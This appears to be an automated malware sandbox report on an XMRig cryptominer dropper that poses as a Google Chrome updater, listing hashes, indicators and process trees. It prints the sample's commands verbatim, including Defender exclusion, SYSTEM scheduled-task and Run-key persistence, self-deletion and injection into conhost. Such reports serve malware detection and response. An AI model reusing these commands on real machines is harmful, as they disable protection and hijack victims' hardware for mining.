Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
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max time kernel
371s -
max time network
1799s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
24-01-2024 17:15
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231129-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231129-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
Yvdp8t5knpQz7sFB.exeupdater.execonhost.exedescription pid process target process PID 2992 created 1244 2992 Yvdp8t5knpQz7sFB.exe Explorer.EXE PID 2992 created 1244 2992 Yvdp8t5knpQz7sFB.exe Explorer.EXE PID 2992 created 1244 2992 Yvdp8t5knpQz7sFB.exe Explorer.EXE PID 2992 created 1244 2992 Yvdp8t5knpQz7sFB.exe Explorer.EXE PID 1260 created 1244 1260 updater.exe Explorer.EXE PID 1260 created 1244 1260 updater.exe Explorer.EXE PID 1260 created 1244 1260 updater.exe Explorer.EXE PID 1260 created 1244 1260 updater.exe Explorer.EXE PID 1860 created 1244 1860 conhost.exe Explorer.EXE PID 1260 created 1244 1260 updater.exe Explorer.EXE -
XMRig Miner payload 30 IoCs
Processes:
resource yara_rule behavioral31/memory/2364-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral31/memory/2364-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2696 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 1260 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2636 taskeng.exe -
Processes:
resource yara_rule behavioral31/memory/2364-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral31/memory/2364-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 1260 set thread context of 1860 1260 updater.exe conhost.exe PID 1260 set thread context of 2364 1260 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
Yvdp8t5knpQz7sFB.exeupdater.execmd.execmd.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe Yvdp8t5knpQz7sFB.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2872 schtasks.exe 1476 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0e2e5b1b94fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
Yvdp8t5knpQz7sFB.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 2992 Yvdp8t5knpQz7sFB.exe 2992 Yvdp8t5knpQz7sFB.exe 1528 powershell.exe 2992 Yvdp8t5knpQz7sFB.exe 2992 Yvdp8t5knpQz7sFB.exe 2192 powershell.exe 2992 Yvdp8t5knpQz7sFB.exe 2992 Yvdp8t5knpQz7sFB.exe 2992 Yvdp8t5knpQz7sFB.exe 2992 Yvdp8t5knpQz7sFB.exe 2936 powershell.exe 1260 updater.exe 1260 updater.exe 784 powershell.exe 1260 updater.exe 1260 updater.exe 796 powershell.exe 1260 updater.exe 1260 updater.exe 1260 updater.exe 1260 updater.exe 1860 conhost.exe 1860 conhost.exe 1260 updater.exe 1260 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1528 powershell.exe Token: SeDebugPrivilege 2192 powershell.exe Token: SeDebugPrivilege 2936 powershell.exe Token: SeDebugPrivilege 784 powershell.exe Token: SeDebugPrivilege 796 powershell.exe Token: SeDebugPrivilege 1260 updater.exe Token: SeAssignPrimaryTokenPrivilege 1668 WMIC.exe Token: SeIncreaseQuotaPrivilege 1668 WMIC.exe Token: SeSecurityPrivilege 1668 WMIC.exe Token: SeTakeOwnershipPrivilege 1668 WMIC.exe Token: SeLoadDriverPrivilege 1668 WMIC.exe Token: SeSystemtimePrivilege 1668 WMIC.exe Token: SeBackupPrivilege 1668 WMIC.exe Token: SeRestorePrivilege 1668 WMIC.exe Token: SeShutdownPrivilege 1668 WMIC.exe Token: SeSystemEnvironmentPrivilege 1668 WMIC.exe Token: SeUndockPrivilege 1668 WMIC.exe Token: SeManageVolumePrivilege 1668 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1668 WMIC.exe Token: SeIncreaseQuotaPrivilege 1668 WMIC.exe Token: SeSecurityPrivilege 1668 WMIC.exe Token: SeTakeOwnershipPrivilege 1668 WMIC.exe Token: SeLoadDriverPrivilege 1668 WMIC.exe Token: SeSystemtimePrivilege 1668 WMIC.exe Token: SeBackupPrivilege 1668 WMIC.exe Token: SeRestorePrivilege 1668 WMIC.exe Token: SeShutdownPrivilege 1668 WMIC.exe Token: SeSystemEnvironmentPrivilege 1668 WMIC.exe Token: SeUndockPrivilege 1668 WMIC.exe Token: SeManageVolumePrivilege 1668 WMIC.exe Token: SeLockMemoryPrivilege 2364 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2192 wrote to memory of 2872 2192 powershell.exe schtasks.exe PID 2192 wrote to memory of 2872 2192 powershell.exe schtasks.exe PID 2192 wrote to memory of 2872 2192 powershell.exe schtasks.exe PID 2696 wrote to memory of 2908 2696 cmd.exe choice.exe PID 2696 wrote to memory of 2908 2696 cmd.exe choice.exe PID 2696 wrote to memory of 2908 2696 cmd.exe choice.exe PID 2936 wrote to memory of 2596 2936 powershell.exe schtasks.exe PID 2936 wrote to memory of 2596 2936 powershell.exe schtasks.exe PID 2936 wrote to memory of 2596 2936 powershell.exe schtasks.exe PID 2636 wrote to memory of 1260 2636 taskeng.exe updater.exe PID 2636 wrote to memory of 1260 2636 taskeng.exe updater.exe PID 2636 wrote to memory of 1260 2636 taskeng.exe updater.exe PID 796 wrote to memory of 1476 796 powershell.exe schtasks.exe PID 796 wrote to memory of 1476 796 powershell.exe schtasks.exe PID 796 wrote to memory of 1476 796 powershell.exe schtasks.exe PID 1260 wrote to memory of 1860 1260 updater.exe conhost.exe PID 1596 wrote to memory of 1668 1596 cmd.exe WMIC.exe PID 1596 wrote to memory of 1668 1596 cmd.exe WMIC.exe PID 1596 wrote to memory of 1668 1596 cmd.exe WMIC.exe PID 1260 wrote to memory of 2364 1260 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1244
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2992
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2192 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2872
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Yvdp8t5knpQz7sFB.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2696
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2596
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:784
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:796 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1476
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1712
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1596 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1668
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1860
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2364
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2908
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C:\Windows\system32\taskeng.exetaskeng.exe {062BEE49-F9E6-4ACB-9931-E6E977750808} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1260
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
159KB
MD58a4e2c4eb0c67d311e8d066b60702961
SHA185e8afa08cd184ee190a0386cfef50c66137b4cb
SHA2569703bab7ad4f5823f5d1a09929f3e8cc4aa0d28943e3b6931ac432ad0655983f
SHA51287d24df79ccd63922c1251f49a7dda38b4b66a978b185dc5082a27feeac172d0f1d73dc17f7e10f316541a16a15fd4dbde250603702c37f1786007c662e084f7
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Filesize
1.4MB
MD52d5c71ebcc16bc286d522f11dc7ce74a
SHA18a0b87a4b4ef3fbaca4ed6dd1a80242da9421a49
SHA2567972ce80efaed484bfa351a4f569ecbacb539e8945ceab2ff4e763e46447a8e2
SHA512c105eb11590dfc53011c94b455edc4af3c2655a3f5ec6a7eda3a91e4fe5d0b1d6e9223a495e9470275f974229468c6f5a72215a46f0ec2f77ba37e11bbede00a
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD523cf399dffbf3bc4ec2739a8e699d2af
SHA1781bfd018abfb97a311b697778fb1c288ce2556b
SHA256372e8fc05de97036eab7fd2ca95af67f16ac908489125be1cd41ac344fdc97c0
SHA5129921248058517d44ff3cfc7b9d3cb55fa75afa96f1e705d129602bc503b5c13cb4d912c6a3788d4573df3d4fe9b5c4ffce566702aa3966c149feb30ba3bdb5b9
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MD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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Filesize
111KB
MD51042cf70f68ea345511a4299264dfc13
SHA1b91ca256afc09e3fa5e2a079c86dec80c7030a07
SHA256f46f34690e53ca36e55136317f9a980597d37de3e7bdaeb09a0ef4ee8c5ebf51
